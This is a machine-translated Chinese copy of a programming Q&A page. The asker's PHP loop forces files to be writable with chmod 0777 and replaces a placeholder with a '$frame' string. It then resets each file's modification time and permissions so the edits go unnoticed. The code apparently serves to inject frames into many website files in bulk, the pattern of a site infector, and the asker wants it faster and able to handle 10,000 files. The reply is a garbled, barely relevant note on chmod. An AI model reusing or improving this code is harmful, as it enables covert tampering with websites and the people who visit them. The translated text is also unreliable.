2013-01-17 49 views
0

我有一個腳本塊至極計數成立和編輯的文件增量文字和經銷商搭配chmod腳本

foreach ($files as $file) 
    { 
    $info['founded']++; 

     $Checkfile = file_get_contents($file); 
     if(!strpos($Checkfile, $searchfor)) 
     { //If string NOT exists in the file 
      $p_chmod=substr(sprintf('%o', fileperms($file)), -4); //Get file perm value 
      if (!is_writable($file)) 
      { //if is NOT writable 
       if(chmod($file,0777)) //Try to set perm 
       { //If perm sett 
       [email protected]($file); 
       $str=file_get_contents($file); 
       $sub_count= substr_count($str,$place); 
        if ($sub_count>0) 
        { 
        $info['replaces'] += $sub_count; 
        $info['edited_files']++; 
        $str=str_replace($place,$frame,$str); 
        file_put_contents($file,$str); 
        @touch($file,$t_mod,$t_mod); 
        @chmod($file,$p_chmod); 
        } 
        } //If perm NOT sett 
        else $info['nowritable']++; 
       } 
      } //if file is writable 
      else 
      { 
       [email protected]($file); 
       $str=file_get_contents($file); 
       $sub_count= substr_count($str,$place); 
        if ($sub_count>0) 
        { 
        $info['replaces'] += $sub_count; 
        $info['edited_files']++; 
        $str=str_replace($place,$frame,$str); 
        file_put_contents($file,$str); 
        @touch($file,$t_mod,$t_mod); 
        @chmod($file,$p_chmod); 
        } 
      } 
     } 
     else //If string exists in the file 
     { 
      $info['exist_files']++; 
     } 
    return $info; 
    } 

以及如何呼應成立文件,像

$info['foundedFiles']= text & \n & text; 
echo $info['foundedFiles'] 

和做什麼,如果成立文件會是大約10000?需要很多頁面源代碼?也許在滾動框中回顯,但如何做到這一點,而不寫入磁盤?

如何優化此代碼?

回答

1

chmod執行如下:

chmod(DIR,MODE);

chmod(「/ directory/file.html」,0777);

在程序的客戶端需要花費大量時間,如果有足夠的文件,甚至可能會超時。這將需要相當數量的資源。